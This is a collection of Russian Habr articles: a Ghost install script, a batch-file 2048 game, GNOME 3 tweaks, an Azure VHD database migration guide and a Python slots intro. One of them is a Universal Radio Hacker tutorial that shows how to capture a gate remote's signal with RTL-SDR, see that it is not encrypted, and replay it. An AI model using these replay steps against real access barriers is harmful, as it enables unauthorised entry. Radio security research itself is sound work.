Но если оставить эту строчку без правки её приоритета в системе сервер в процессе обновлений перетечёт из стабильной в не стабильную ветку, а так как этого нам не надо установим приоритеты.
```
echo -e 'Package: *\nPin: release a=unstable\nPin-Priority: -9' > /etc/apt/preferences
```
Теперь пакеты с нестабильного репозитория будут ставиться только если мы непосредственно в команде установке укажем нестабильный репозиторий как желаемый.
Теперь необходимо обновить список пакетов.
```
apt update
```
Установим NodeJS
```
apt -y install --no-install-recommends -t unstable nodejs npm
```
Теперь установим Nginx и yarn
```
apt -y install --no-install-recommends nginx-light yarn
```
Теперь будем придерживаться [официальной инструкции по установке](https://docs.ghost.org/docs/install).
Добавим пользователя
```
adduser --shell /bin/bash --gecos 'Ghost application' ghost --disabled-password
```
Установим ghost-cli
```
npm i -g ghost-cli
```
Пояснения к параметрам запуска можно посмотреть выполнив в консоли
```
ghost help
```
или посмотреть [тут](https://docs.ghost.org/v1/docs/ghost-cli) и [тут](https://docs.ghost.org/v1/docs/cli-setup)
Запускаем установку GHost
*Если Вы тот, кто пользуется мануалом для установки GHost, перед выполнением этой команды убедитесь что команда
```
hostname -f
```
выводит в консоль Ваше доменное имя, в противном случае замените в данной строчке и далее в следующих командах $(hostname -f) на Ваше доменное имя*
```
ghost install -d /var/www/$(hostname -f) --no-stack --url http://$(hostname -f) --db sqlite3 --dbpath /home/ghost/bd --no-setup-nginx --no-setup-systemd --no-start
```
Подправим права после установки
```
chown -R ghost:ghost /var/www/$(hostname -f)
```
Переходим в папку с сайтом для завершения установки
```
cd /var/www/$(hostname -f)
```
Удаляем конфигурационный файл по умолчанию в Nginx
```
rm /etc/nginx/sites-enabled/default
```
Настраиваем Nginx
```
ghost setup nginx
```
настраиваем демона и запускаем его
```
ghost setup systemd && ghost start
```
*Можно использовать как скрипт для установки GHost*
**Посмотреть что получилось**
```
#!/bin/bash
#
# metadata_begin
# recipe: ghost
# tags: debian9
# revision: 1
# description_ru: Установка GHost
# metadata_end
#
echo 'deb http://ftp.ru.debian.org/debian unstable main' > /etc/apt/sources.list.d/nodejs.list
echo -e 'Package: *\nPin: release a=unstable\nPin-Priority: -9' > /etc/apt/preferences
apt update
apt -y install --no-install-recommends -t unstable nodejs npm
apt -y install --no-install-recommends nginx-light yarn
adduser --shell /bin/bash --gecos 'Ghost application' ghost --disabled-password
npm i -g ghost-cli
ghost install -d /var/www/$(hostname -f) --no-stack --url http://$(hostname -f) --db sqlite3 --dbpath /home/ghost/bd --no-setup-nginx --no-setup-systemd --no-start
chown -R ghost:ghost /var/www/$(hostname -f)
cd /var/www/$(hostname -f)
rm /etc/nginx/sites-enabled/default
ghost setup nginx
ghost setup systemd && ghost start
``` | https://habr.com/ru/post/339360/ | null | ru | null |
# Игра 2048 батником на Windows
Слово muffe — как оказалось с немецкого это муфта. Но придумывалось как исковерканное слово move и coffee.
В игре присутствуют отличия от оригинальной игры 2048.
Так как алгоритм разрабатывал вслепую. Тыкал и смотрел что выходит. Пытался повторить это в командной строке cmd batch-файлом.
1. не меняется цвет ячеек. Понял как это сделать. Но еще не реализовал эту возможность.
Можно с помощью FINDSTR или сторонней DOS утилиты.
2. отсутствует анимация.
Поправил графическое отображение. Оказывается в FAR можно добавлять символы псевдографики. А то я до этого набирал текст, в Блокноте
Поправил синтаксис. Использовал кое, что из батника созданного AAbrosov
Теперь управляющие батники стали в 4 раза короче.
Перемещение и сложение выделил в отдельные файлы, которые вызываю при помощи CALL.
На каждое направление свой отдельный файл.
WASD — выбираем направление, стрелочки так и не получилось заставить.
X — выход из игры в любой момент, если только не зависла. Тогда можно просто закрыть окно cmd.
R — начать заново, в любой момент.
Сам не программист, и наверно допустил много глупостей. Но главное что работает. На все это потратил уже 4 недели. Вдумчиво рассматривал исходный код странички coffee2048.com, мало чего понял. За то упорно изучал командную строку и создание батников. Мне еще на первом компе 386 нравилось писать autoexec.bat и config.sys для запуска игр. Иногда этот процесс был интересней самой игры. Еще вдохновился шуткой от Microsoft на 1 апреля. MS-DOS для Windows Phone там понравилась камера и танцы с бубном, что бы запустить игру «камень-ножницы-бумага». Cortana прикольно помогает.
Были проблемы с dynamic variable. сначала нужно было понять, что это такое и с чем это едят, а потом найти как это можно использовать в cmd. Еще были проблемы с IF. Как оказалось туда можно вставлять только дно действие. Пришлось использовать GOTO. Не получилось использовать цикл FOR. Вышел из ситуации с помощью IF и GOTO.
Для управление в игре использовал команду CHOICE. Пока искал как отдавать команды игре, наткнулся на игру змейку тоже в батнике. Там управление передавалось через SET /P но я так и не понял как вводить буквы и не нажимать после этого ВВОД. Остановился на CHOICE. Хотя мне не нравится то что эта команда пищит, иногда очень громко, если нажата клавиша которая не обозначена в «choice /C wasdxr /N >nul».
**содержимое батника muffe9.bat**
```
@echo off
title muffe (Game 2048 for Command prompt)
if not exist muffe_BestSc.txt echo 0>muffe_BestSc.txt
(set /p BestSc=)nul
if errorlevel 6 (goto Begin1)
if errorlevel 5 (goto Exit1)
if errorlevel 4 (goto D4)
if errorlevel 3 (goto S3)
if errorlevel 2 (goto Aa2)
if errorlevel 1 (goto W1)
if errorlevel 0 (goto Direction)
:::::::::::::::::::::::::::::::::::::::::
:D4
call muffe\_D4.bat
goto Direction
:S3
call muffe\_S3.bat
goto Direction
:Aa2
call muffe\_Aa2.bat
goto Direction
:W1
call muffe\_W1.bat
goto Direction
:::::::::::::::::::::::::::::::::::::::::
:Anulare
set contentR%Y%%X%=0
set "content%Y%%X%= "
goto Cls1
:Exit1
echo %BestSc% >muffe\_BestSc.txt
```
содержимое управляющих батников:
**muffe\_Aa2.bat**
```
:Aa2
set version=0
call :ToZero
if [%contentR11%] == [%contentR12%] (call :Sum1000 contentR11 contentR12 content11 content12)
if [%contentR12%] == [%contentR13%] (call :Sum1000 contentR12 contentR13 content12 content13)
if [%contentR13%] == [%contentR14%] (call :Sum1000 contentR13 contentR14 content13 content14)
if [%contentR21%] == [%contentR22%] (call :Sum1000 contentR21 contentR22 content21 content22)
if [%contentR22%] == [%contentR23%] (call :Sum1000 contentR22 contentR23 content22 content23)
if [%contentR23%] == [%contentR24%] (call :Sum1000 contentR23 contentR24 content23 content24)
if [%contentR31%] == [%contentR32%] (call :Sum1000 contentR31 contentR32 content31 content32)
if [%contentR32%] == [%contentR33%] (call :Sum1000 contentR32 contentR33 content32 content33)
if [%contentR33%] == [%contentR34%] (call :Sum1000 contentR33 contentR34 content33 content34)
if [%contentR41%] == [%contentR42%] (call :Sum1000 contentR41 contentR42 content41 content42)
if [%contentR42%] == [%contentR43%] (call :Sum1000 contentR42 contentR43 content42 content43)
if [%contentR43%] == [%contentR44%] (call :Sum1000 contentR43 contentR44 content43 content44)
call :ToZero
exit /B
:ToZero
set rrnn=1
:PPNN
if [%contentR11%] == [0] (call :Zero1000 contentR11 contentR12 content11 content12)
if [%contentR12%] == [0] (call :Zero1000 contentR12 contentR13 content12 content13)
if [%contentR13%] == [0] (call :Zero1000 contentR13 contentR14 content13 content14)
if [%contentR21%] == [0] (call :Zero1000 contentR21 contentR22 content21 content22)
if [%contentR22%] == [0] (call :Zero1000 contentR22 contentR23 content22 content23)
if [%contentR23%] == [0] (call :Zero1000 contentR23 contentR24 content23 content24)
if [%contentR31%] == [0] (call :Zero1000 contentR31 contentR32 content31 content32)
if [%contentR32%] == [0] (call :Zero1000 contentR32 contentR33 content32 content33)
if [%contentR33%] == [0] (call :Zero1000 contentR33 contentR34 content33 content34)
if [%contentR41%] == [0] (call :Zero1000 contentR41 contentR42 content41 content42)
if [%contentR42%] == [0] (call :Zero1000 contentR42 contentR43 content42 content43)
if [%contentR43%] == [0] (call :Zero1000 contentR43 contentR44 content43 content44)
set /a "rrnn+=1"
if [%rrnn%] LEQ [3] (goto PPNN)
exit /B
:Sum1000
set /a "PP=!%1!+!%2!"
if [%PP%] == [0] (exit /B)
set %1=%PP%
set %3=%PP%
set /a contor+=%PP%
IF %PP% LSS 1000 set "%3= %PP%"
IF %PP% LSS 100 set "%3= %PP%"
IF %PP% LSS 10 set "%3= %PP%"
set "%4= "
set %2=0
set version=1
exit /B
:Zero1000
set /a "PP=!%1!+!%2!"
if [%PP%] == [0] (exit /B)
set %3=!%4!
set %1=!%2!
set "%4= "
set %2=0
set version=1
exit /B
```
**muffe\_D4.bat**
```
:D4
set version=0
call :ToZero
if [%contentR14%] == [%contentR13%] (call :Sum1000 contentR14 contentR13 content14 content13)
if [%contentR13%] == [%contentR12%] (call :Sum1000 contentR13 contentR12 content13 content12)
if [%contentR12%] == [%contentR11%] (call :Sum1000 contentR12 contentR11 content12 content11)
if [%contentR24%] == [%contentR23%] (call :Sum1000 contentR24 contentR23 content24 content23)
if [%contentR23%] == [%contentR22%] (call :Sum1000 contentR23 contentR22 content23 content22)
if [%contentR22%] == [%contentR21%] (call :Sum1000 contentR22 contentR21 content22 content21)
if [%contentR34%] == [%contentR33%] (call :Sum1000 contentR34 contentR33 content34 content33)
if [%contentR33%] == [%contentR32%] (call :Sum1000 contentR33 contentR32 content33 content32)
if [%contentR32%] == [%contentR31%] (call :Sum1000 contentR32 contentR31 content32 content31)
if [%contentR44%] == [%contentR43%] (call :Sum1000 contentR44 contentR43 content44 content43)
if [%contentR43%] == [%contentR42%] (call :Sum1000 contentR43 contentR42 content43 content42)
if [%contentR42%] == [%contentR41%] (call :Sum1000 contentR42 contentR41 content42 content41)
call :ToZero
exit /B
:ToZero
set rrnn=1
:PPNN
if [%contentR14%] == [0] (call :Zero1000 contentR14 contentR13 content14 content13)
if [%contentR13%] == [0] (call :Zero1000 contentR13 contentR12 content13 content12)
if [%contentR12%] == [0] (call :Zero1000 contentR12 contentR11 content12 content11)
if [%contentR24%] == [0] (call :Zero1000 contentR24 contentR23 content24 content23)
if [%contentR23%] == [0] (call :Zero1000 contentR23 contentR22 content23 content22)
if [%contentR22%] == [0] (call :Zero1000 contentR22 contentR21 content22 content21)
if [%contentR34%] == [0] (call :Zero1000 contentR34 contentR33 content34 content33)
if [%contentR33%] == [0] (call :Zero1000 contentR33 contentR32 content33 content32)
if [%contentR32%] == [0] (call :Zero1000 contentR32 contentR31 content32 content31)
if [%contentR44%] == [0] (call :Zero1000 contentR44 contentR43 content44 content43)
if [%contentR43%] == [0] (call :Zero1000 contentR43 contentR42 content43 content42)
if [%contentR42%] == [0] (call :Zero1000 contentR42 contentR41 content42 content41)
set /a "rrnn+=1"
if [%rrnn%] LEQ [3] (goto PPNN)
exit /B
:Sum1000
set /a "PP=!%1!+!%2!"
if [%PP%] == [0] (exit /B)
set %1=%PP%
set %3=%PP%
set /a contor+=%PP%
IF %PP% LSS 1000 set "%3= %PP%"
IF %PP% LSS 100 set "%3= %PP%"
IF %PP% LSS 10 set "%3= %PP%"
set "%4= "
set %2=0
set version=1
exit /B
:Zero1000
set /a "PP=!%1!+!%2!"
if [%PP%] == [0] (exit /B)
set %3=!%4!
set %1=!%2!
set "%4= "
set %2=0
set version=1
exit /B
```
**muffe\_S3.bat**
```
:S3
set version=0
call :ToZero
if [%contentR41%] == [%contentR31%] (call :Sum1000 contentR41 contentR31 content41 content31)
if [%contentR31%] == [%contentR21%] (call :Sum1000 contentR31 contentR21 content31 content21)
if [%contentR21%] == [%contentR11%] (call :Sum1000 contentR21 contentR11 content21 content11)
if [%contentR42%] == [%contentR32%] (call :Sum1000 contentR42 contentR32 content42 content32)
if [%contentR32%] == [%contentR22%] (call :Sum1000 contentR32 contentR22 content32 content22)
if [%contentR22%] == [%contentR12%] (call :Sum1000 contentR22 contentR12 content22 content12)
if [%contentR43%] == [%contentR33%] (call :Sum1000 contentR43 contentR33 content43 content33)
if [%contentR33%] == [%contentR23%] (call :Sum1000 contentR33 contentR23 content33 content23)
if [%contentR23%] == [%contentR13%] (call :Sum1000 contentR23 contentR13 content23 content13)
if [%contentR44%] == [%contentR34%] (call :Sum1000 contentR44 contentR34 content44 content34)
if [%contentR34%] == [%contentR24%] (call :Sum1000 contentR34 contentR24 content34 content24)
if [%contentR24%] == [%contentR14%] (call :Sum1000 contentR24 contentR14 content24 content14)
call :ToZero
exit /B
:ToZero
set rrnn=1
:PPNN
if [%contentR41%] == [0] (call :Zero1000 contentR41 contentR31 content41 content31)
if [%contentR31%] == [0] (call :Zero1000 contentR31 contentR21 content31 content21)
if [%contentR21%] == [0] (call :Zero1000 contentR21 contentR11 content21 content11)
if [%contentR42%] == [0] (call :Zero1000 contentR42 contentR32 content42 content32)
if [%contentR32%] == [0] (call :Zero1000 contentR32 contentR22 content32 content22)
if [%contentR22%] == [0] (call :Zero1000 contentR22 contentR12 content22 content12)
if [%contentR43%] == [0] (call :Zero1000 contentR43 contentR33 content43 content33)
if [%contentR33%] == [0] (call :Zero1000 contentR33 contentR23 content33 content23)
if [%contentR23%] == [0] (call :Zero1000 contentR23 contentR13 content23 content13)
if [%contentR44%] == [0] (call :Zero1000 contentR44 contentR34 content44 content34)
if [%contentR34%] == [0] (call :Zero1000 contentR34 contentR24 content34 content24)
if [%contentR24%] == [0] (call :Zero1000 contentR24 contentR14 content24 content14)
set /a "rrnn+=1"
if [%rrnn%] LEQ [3] (goto PPNN)
exit /B
:Sum1000
set /a "PP=!%1!+!%2!"
if [%PP%] == [0] (exit /B)
set %1=%PP%
set %3=%PP%
set /a contor+=%PP%
IF %PP% LSS 1000 set "%3= %PP%"
IF %PP% LSS 100 set "%3= %PP%"
IF %PP% LSS 10 set "%3= %PP%"
set "%4= "
set %2=0
set version=1
exit /B
:Zero1000
set /a "PP=!%1!+!%2!"
if [%PP%] == [0] (exit /B)
set %3=!%4!
set %1=!%2!
set "%4= "
set %2=0
set version=1
exit /B
```
**muffe\_W1.bat**
```
:W1
set version=0
call :ToZero
if [%contentR11%] == [%contentR21%] (call :Sum1000 contentR11 contentR21 content11 content21)
if [%contentR21%] == [%contentR31%] (call :Sum1000 contentR21 contentR31 content21 content31)
if [%contentR31%] == [%contentR41%] (call :Sum1000 contentR31 contentR41 content31 content41)
if [%contentR12%] == [%contentR22%] (call :Sum1000 contentR12 contentR22 content12 content22)
if [%contentR22%] == [%contentR32%] (call :Sum1000 contentR22 contentR32 content22 content32)
if [%contentR32%] == [%contentR42%] (call :Sum1000 contentR32 contentR42 content32 content42)
if [%contentR13%] == [%contentR23%] (call :Sum1000 contentR13 contentR23 content13 content23)
if [%contentR23%] == [%contentR33%] (call :Sum1000 contentR23 contentR33 content23 content33)
if [%contentR33%] == [%contentR43%] (call :Sum1000 contentR33 contentR43 content33 content43)
if [%contentR14%] == [%contentR24%] (call :Sum1000 contentR14 contentR24 content14 content24)
if [%contentR24%] == [%contentR34%] (call :Sum1000 contentR24 contentR34 content24 content34)
if [%contentR34%] == [%contentR44%] (call :Sum1000 contentR34 contentR44 content34 content44)
call :ToZero
exit /B
:ToZero
set rrnn=1
:PPNN
if [%contentR11%] == [0] (call :Zero1000 contentR11 contentR21 content11 content21)
if [%contentR21%] == [0] (call :Zero1000 contentR21 contentR31 content21 content31)
if [%contentR31%] == [0] (call :Zero1000 contentR31 contentR41 content31 content41)
if [%contentR12%] == [0] (call :Zero1000 contentR12 contentR22 content12 content22)
if [%contentR22%] == [0] (call :Zero1000 contentR22 contentR32 content22 content32)
if [%contentR32%] == [0] (call :Zero1000 contentR32 contentR42 content32 content42)
if [%contentR13%] == [0] (call :Zero1000 contentR13 contentR23 content13 content23)
if [%contentR23%] == [0] (call :Zero1000 contentR23 contentR33 content23 content33)
if [%contentR33%] == [0] (call :Zero1000 contentR33 contentR43 content33 content43)
if [%contentR14%] == [0] (call :Zero1000 contentR14 contentR24 content14 content24)
if [%contentR24%] == [0] (call :Zero1000 contentR24 contentR34 content24 content34)
if [%contentR34%] == [0] (call :Zero1000 contentR34 contentR44 content34 content44)
set /a "rrnn+=1"
if [%rrnn%] LEQ [3] (goto PPNN)
exit /B
:Sum1000
set /a "PP=!%1!+!%2!"
if [%PP%] == [0] (exit /B)
set %1=%PP%
set %3=%PP%
set /a contor+=%PP%
IF %PP% LSS 1000 set "%3= %PP%"
IF %PP% LSS 100 set "%3= %PP%"
IF %PP% LSS 10 set "%3= %PP%"
set "%4= "
set %2=0
set version=1
exit /B
:Zero1000
set /a "PP=!%1!+!%2!"
if [%PP%] == [0] (exit /B)
set %3=!%4!
set %1=!%2!
set "%4= "
set %2=0
set version=1
exit /B
```
лучший счет
**muffe\_BestSc.txt**
```
0
```
скачать архив [yadi.sk/d/Glgq4y1igcvoa](https://yadi.sk/d/Glgq4y1igcvoa)
кое что позаимствовано у AAbrosov
**старые версии**скачать архив [yadi.sk/d/s7cmQlLXgKbng](https://yadi.sk/d/s7cmQlLXgKbng)
добавил проверку изменений, теперь 2 не появляются если не было смещения и/или сложения
не очень элегантно вышло, но работает. нужно будет доработать и использовать переключатель
скачать архив 2 [yadi.sk/d/fZXAQi9ngLGDE](https://yadi.sk/d/fZXAQi9ngLGDE)
скачать архив 3 [yadi.sk/d/-YxSIUXpgQf2n](https://yadi.sk/d/-YxSIUXpgQf2n) | https://habr.com/ru/post/379029/ | null | ru | null |
# Улучшаем GNOME 3
Привет, Хабралюди!
После обновления своего дистрибутива (Russian Fedora) я столкнулся с большим количеством проблем в GNOME 3. В этой статье я постараюсь описать все, собранные мной, методы их решения. Кому интересно, под кат!
##### Панель быстрого запуска
Для этого можно использовать два варианта. Первый — Avant Window Navigator. В этом случае все просто. Вы получите панели такого вида:
Внешний вид панели легко изменяется.
Второй способ: [intgat.tigress.co.uk/rmy/extensions/index.html](http://intgat.tigress.co.uk/rmy/extensions/index.html)
Скачиваем архив по этой ссылку: [Раширение](http://intgat.tigress.co.uk/rmy/extensions/gnome-shell-frippery-0.1.0.tgz). Распаковываем в домашнюю папку. Перезапускаем пользователя и… панель быстрого запуска появляется:) Вы получите что-то вроде того что было в GNOME 2:
Теперь доступ к приложениям более быстрый. Смотрите скриншот:
##### Размещение файлов на рабочем столе
Для этого можно использовать Tweek Tool. У меня эта утилита не была установлена изначально, но ее можно установить через yum. Далее открываем: Tweek Tool -> File Manager -> Ставим галочку (она там одна).
А на скриншоте — Tweak Tool:
После этого все файлы, что были у вас на рабочем столе там наконецто появляются. К тому же вызов контекстного меню с рабочего стола тоже работает.
##### Различные расширения
Их все вы можете найти тут: [gnome-shell-extension](http://www.webupd8.org/search/label/gnome%20shell%20extensions?max-results=10). С установкой на сайте все предельно ясно.
Например, System Monitor Extension ставится несколькими командами:
`mkdir ~/git_projects
cd ~/git_projects
git clone git://github.com/paradoxxxzero/gnome-shell-system-monitor-applet.git
mkdir -p ~/.local/share/gnome-shell/extensions
cd ~/.local/share/gnome-shell/extensions
ln -s ~/git_projects/gnome-shell-system-monitor-applet/system-monitor@paradoxxx.zero.gmail.com
sudo cp ~/git_projects/gnome-shell-system-monitor-applet/org.gnome.shell.extensions.system-monitor.gschema.xml /usr/share/glib-2.0/schemas
cd /usr/share/glib-2.0/schemas
sudo glib-compile-schemas .`
Только одно примечание: у меня не завелся Gnome Shell Weather Extension. После его установки Gnome shell перестал запускаться. Вобщем проблемы с ним пока не решил. Все остальное отлично работает!
P.S. После всех манипуляций я получил такой рабочий стол:
Все проблемы GNOME 3 решены и желаний переходить обратно не возникает:) Другие интересные методы пишите в комментариях!
Удачи!
P.S. Несколько пользователей в комментариях добавили другие методы. Например, [Как сделать индикатор языка в трее в виде иконки](http://habrahabr.ru/blogs/linux/120150/#comment_3936877), [Возвращение кнопок свернуть, развернуть](http://habrahabr.ru/blogs/linux/120150/#comment_3936197). | https://habr.com/ru/post/120150/ | null | ru | null |
# Миграция БД на Windows Azure SQL VM через виртуальный диск
[Предыдущий способ](http://blogs.technet.com/b/isv_team/archive/2012/10/25/3528577.aspx) переноса резервной копии базы с локального компьютера на виртуальную машину с SQL Server в Облаке использовал Azure Storage, который не является NTFS-видимым. Таким образом, перед восстановлением бэкап базы нужно было скопировать из Azure Storage на виртуальный диск, чтобы установленный на виртуалке SQL Server его увидел. В случае БД значительного объема это ведет к неоправданному расходу пространства в Azure Storage и, как следствие, к дополнительным затратам: сначала бэкап загружается в облачное хранилище, а затем копируется в vhd, который хранится там же. Чтобы избежать этих затрат, в этой статье мы рассмотрим иной способ. Локально будет создан отдельный vhd, на котором будет размещен бэкап базы. Затем vhd будет загружен в Azure Storage и приаттачен в качестве дополнительного диска облачной виртуалки. С него будет произведено восстановление резервной копии.
Чтобы локально создать виртуальный диск, заходим в Administrative Tools\Computer Management\Disk Management и выбираем пункт Create VHD из контекстного меню. Указываем полный путь к vhd-файлу, который будет создан, желаемый размер, достаточный для того, чтобы вместить резервную копию базы, а также — будет ли этот размер фиксированный или динамически расширяемый. Кликаем по диску и выбираем из контекстного меню пункт «Инициализировать диск». Создаем том и форматируем его под NTFS. Созданный vhd начинает видеться как дополнительный диск локальной машины. Копируем на него бэкап базы.
Для проверки созданный vhd можно добавить в качестве дополнительного диска к локальной виртуалке. На всякий случай напомню, что в Windows 8 технология виртуализации Hyper-V (включая средство управления Hyper-V Manager) поддерживается, что называется, из коробки. Не требуется устанавливать Hyper-V Server отдельно и администрировать при помощи RSAT, как было в случае Windows 7. У меня по случаю имеется локальная виртуальная машина, которой я делаю shutdown и присоединяю дополнительный диск. Перед стартом виртуальной машины vhd требуется детачить в Disk Management на хосте. Убедившись, что содержание диска нормально читается на локальной виртуальной машине, гасим ее, отсоединяем диск, нажав кнопку Remove на Рис.10, и загружаем диск в Azure Storage. Проще всего это сделать при помощи утилиты csupload, входящей в состав Windows Azure SDK, который мы поставили в [предыдущей статье](http://blogs.technet.com/b/isv_team/archive/2012/10/25/3528577.aspx). Перед загрузкой предварительно требуется создать сертификат X.509 v3, как указано в документации. Для этого я воспользуюсь утилитой makecert, которая ставится, например, в составе Visual Studio:
`"C:\Program Files (x86)\Windows Kits\8.0\bin\x86\makecert.exe" -sky exchange -r -n "CN=MyCert" -pe -a sha1 -len 2048 -ss My "c:\Temp\MyCert.cer"`
Скрипт 1
Теперь сертификат нужно положить в Облако. Заходим в Azure Management Portal, кликаем на Settings в левой панели, внизу нажимаем кнопку Upload. Находим файл сертификата c:\Temp\MyCert.cer, созданный в Скрипте 1 и указываем его для загрузки. Сертификат успешно загружается. Для загрузки vhd в Azure Storage должен иметься Storage Account. Как минимум, один был создан автоматически на [этапе создания виртуальной машины](http://blogs.technet.com/b/isv_team/archive/2012/10/05/3524343.aspx), а второй мы создали в [предыдущей статье](http://blogs.technet.com/b/isv_team/archive/2012/10/25/3528566.aspx) для загрузки файла бэкапа. Не имеет значения, какой из них использовать. Я возьму последний (tststorage), в котором создам приватный контейнер myvhds, чтобы положить туда свежесозданный виртуальный диск с бэкапом базы. Напомню, что заглавные буквы в названии контейнера не воспринимаются. Для использования утилиты csupload требуется сформировать строку соединения. Это можно сделать непосредственно в момент загрузки или предварительно.
`"C:\Program Files\Microsoft SDKs\Windows Azure\.NET SDK\2012-06\bin\csupload.exe" Set-Connection "SubscriptionID=1145d36f-60d2-4db3-91e7-7cd730599e27;CertificateThumbprint=8BC0B6D0C1A010CABECF558612A21D2CCDFD679F;ServiceManagementEndpoint=https://management.core.windows.net"`Скрипт 2
Параметр ServiceManagementEndpoint является константой. Основными параметрами при формировании строки соединения выступают SubscriptionID и CertificateThumbprint. Их можно скопировать в свойствах сертификата. Ширины колонок раздвигаются и, при необходимости, скроллируются по горизонтали. В непосредственно загрузке диска тоже все понятно: откуда берем vhd-файл (LiteralPath), куда кладем (Storage Account\контейнер блобовского сториджа — Destination) и как обзываем (Label). Параметр Add-Disk указывает, что загружается именно диск, а не, скажем, образ. В параметре OS — что это будет диск для виртуальной машины Windows, а не Linux. По умолчанию, предполагается, естественно, Windows. Подробно ознакомиться с параметрами утилиты csupload можно в [документации](http://msdn.microsoft.com/en-us/library/windowsazure/gg466228.aspx).
`"C:\Program Files\Microsoft SDKs\Windows Azure\.NET SDK\2012-06\bin\csupload.exe" Add-Disk -Destination "https://tststorage.blob.core.windows.net/myvhds/aaa_disk" -Label aaa_disk -LiteralPath "c:\temp\aaa.vhd" -OS Windows`
Скрипт 3
После загрузки свежеположенный диск можно видеть в Azure Management Portal -> Virtual Machines -> Disks. Остается присоединить его к облачной виртуалке. Виртуалку при этом можно не гасить. В верхней строке переключаемся на Virtual Machine Instances, в нижней жмем Attach и выбираем диск среди доступных загруженных и неподключенных. В нашем примере такой сейчас всего один. Ждем, когда статус виртуалки сменяется с Running (Updating) на просто Running и соединяемся с ней по удаленному RDP-подключению. Видим диск F: с Volume Label = aaa, как заказывали, а на нем резервную копию базы AdventureWorks2012.bak, с которой восстанавливаемся. После чего диск aaa нам больше не нужен. Отсоединяем его аналогично подключению (кнопка Detach Disk в нижней строке) и удаляем из дисков вместе с соответствующим ему vhd-файлом (не из Storage), нажав кнопку Delete Disk -> Delete the associated VHD, чтобы не платить за лишнее место. | https://habr.com/ru/post/156951/ | null | ru | null |
# Universal Radio Hacker — легкий способ исследовать цифровые радиопротоколы
[Universal Radio Hacker](https://github.com/jopohl/urh) (URH) — невероятно простой и понятный инструмент для анализа цифровых радиопротоколов. В отличие от монстров вроде GNU Radio, освоить его можно за пять минут, без мучений.
Главные особенности URH:
* **Работает на всех платформах** — на macOS/Linux/Windows, из коробки! Не нужно часами компилять километры зависимостей.
* **Поддерживает популярные SDR** — нативная поддержка RTL-SDR, HackRF, LimeSDR, AirSpy и других.
* **Все в одном** — все нужные инструменты встроены в одну программу: анализатор спектра для поиска частот, запись сигнала, интерпретатор цифрового сигнала для автоматического преобразования записанного сигнала в цифровые данные.
* **Поддерживает передачу** — для проведения replay-атаки достаточно выделить мышкой нужный отрезок сигнала и нажать Replay. Великолепно!
В статье мы будем анализировать сигнал пульта от шлагбаума, при помощи народного RTL-SDR (радио из дешевого USB ТВ-тюнера) и macOS.
Установка
---------
URH написан на Python 3, со вставками C через Cython. Его можно использовать прямо из репозитория, без установки и компиляции.
Для UNIX-подобный ОС его можно установить через менеджер пакетов pip3:
```
pip3 install urh
```
Библиотеки для работы с SDR в macOS можно установить через brew:
```
brew install rtlsdr hackrf
```
Определяем частоту
------------------
Для начала нужно узнать, на какой частоте работает наш брелок. В большинстве случаев, такие устройства работают в нелицензируемом диапазоне 433Mhz. Проверим, так ли это, с помощью анализатора спектра.
*`File -> Spectrum Analyzer`*
Этот инструмент только показывает спектр в выбранном диапазоне, и не позволяет как-либо сохранять или обрабатывать сигнал. Единственное его назначение — визуально найти нужный сигнал. В параметрах указываем драйвер устройства (в моем случае это RTL-SDR), и частоту.
Your browser does not support HTML5 video.На видео показан анализатор спектра, который позволяет установить, на какой частоте работает устройство.
После того, как частота найдена, достаточно кликнуть мышкой по сетке, чтобы установить найденную частоту как центральную.
Записываем сигнал
-----------------
Теперь можно сохранить сигнал нажатия кнопок для последующего анализа. Важно понимать, что записывается не только выбранная частота, но и все соседние, которые может услышать наш SDR. Это регулируется настройкой Bandwidth. Поэтому файл с дампом увеличивается достаточно быстро, по нескольку мегабайт в секунду. Для нашей задачи можно существенно уменьшить Bandwidth и Sample Rate, это уменьшит объем лишних захватываемых данных, но мы оставим их по умолчанию, чтобы не напрягаться.
*`File -> Record Signal...`*
Your browser does not support HTML5 video.
Видео: захват сигнала с брелка
Так как брелок находится близко к приемнику, его сигнал достаточно мощный, и его отчетливо видно на вейвформе. Для того, чтобы понять, используется ли какая-то защита от replay-атаки, нажимаем на кнопку несколько раз. Это позволит нам сравнивать несколько разных сигналов.
Анализируем сигнал
------------------
После закрытия окна записи сигнала, сохраненный дамп загружается в интерпретатор, который автоматически определяет параметры сигнала: модуляцию, длину бита, и т.д., и преобразовывает аналоговый сигнал в цифровой. Это очень удобно, ничего подобного я не видел в других похожих программах. Обычно, для того же самого используются консольные утилиты, которым нужно вручную задавать параметры сигнала.
Для удобства, данные можно отобразить в HEX-формате.
Даже беглого взгляда достаточно, чтобы увидеть, что они повторяются. Следовательно, никакой криптографии в нашем пульте не применяется. А это значит, что мы легко можем выполнить replay-атаку. Для этого достаточной мышкой выделить нужный кусок сигнала на спектрограмме и нажать кнопку replay. Но, к сожалению, RTL-SDR не умеет передавать, а только принимает. Поэтому для проведения атаки нам нужно любое устройство из поддерживаемых URH, которое умеет передавать сигнал: это может быть hackrf, limesdr, bladerf или USRP.
Your browser does not support HTML5 video.
Графическое выделение позволяет удобно работать с сырым сигналом и обработанными данными.
Отдельно хочу отметить удобство работы с интерпретатором. При выделении сигнала на вейвформе, выделяются обработанные данные. Это удобно в тех случаях, когда есть сомнения в правильности автоматического парсера, и нужно изучить сигнал вручную.
Итог
----
URH — простой инструмент для работы с разнородными сигналами, который из коробки поддерживает все популярные SDR. Освоить его можно за пять минут, без мучительной компиляции GNU Radio.
Если вам интересна тема SDR, в нашем [Хакспейсе Neuron](https://neuronspace.ru/) вы сможете пообщаться с разработчиками продвинутого SDR — [XTRX](https://www.crowdsupply.com/fairwaves/xtrx), которые в этом году провели успешную компанию на crowdsupply. К сожалению, поддержка XTRX пока не добавлена в Universal Radio Hacker, но вы можете принять в этом участие.
Все новости о жизни Хакспейса в телеграм-канале: [@neuron\_news](https://t.me/neuron_news) | https://habr.com/ru/post/434634/ | null | ru | null |
# Использование slots | Python
Для начала небольшой дисклеймер.
Эта статья вдохновлена моим обучением. Когда я только начинал свой Python-way, на одном из форумов увидел новое для себя понятие - слоты. Но сколько я не искал, в сети было крайне мало статей на эту тему, поэтому понять и осознать слоты было достаточно сложно. Данная статья призвана помочь начинающим в этой теме, но даже опытные разработчики, уверен, найдут здесь нечто новое.
---
Когда мы создаем объекты для классов, требуется память, а атрибут хранится в виде словаря (в **dict**). В случае, если нам нужно выделить тысячи объектов, это займет достаточно много места в памяти.
